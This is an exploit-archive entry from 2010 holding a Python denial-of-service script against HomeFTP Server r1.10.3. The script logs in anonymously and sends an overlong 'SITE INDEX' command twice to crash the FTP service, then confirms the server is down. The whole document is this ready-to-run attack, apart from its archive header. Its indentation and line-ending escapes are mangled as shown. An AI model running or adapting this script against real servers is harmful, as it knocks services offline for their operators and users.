[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit
# Published : 2010-05-28
# Author : Dr_IDE
# Previous Title : Motorola SB5101 Hax0rware Rajko HTTPD Remote Exploit PoC
# Next Title : ZipExplorer 7.0 (.zar) DoS
#!/usr/bin/python
###################################################################
#
# HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit
# Found By: Dr_IDE
# Date: May 28, 2010
# Download: http://downstairs.dnsalias.net/products.html
# Tested: Windows 7
#
###################################################################
import socket, sys
host = (sys.argv[1])
buff = ("A" * 5000)
cmds = ('SITE INDEX')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ("rn[i] Connecting to: " + host +"rn")
print ("[*] Crashing server with command: " + cmds + "rn")
try:
s.connect((host, 21))
d=s.recv(1024)
print (d)
s.send("USER dr_idern") #anonymous login so anything goes
d=s.recv(1024)
print (d)
s.send("PASS dr_idern")
d=s.recv(1024)
print (d)
s.send(cmds + " " + buff + 'rn')
d=s.recv(1024)
print (d)
s.send(cmds + " " + buff + 'rn') #Second time does the trick.
d=s.recv(1024)
print (d)
s.close()
try:
s.connect((host,21))
except:
print ("rn[i] Success, Server is Down.")
except:
print ("[i] Error")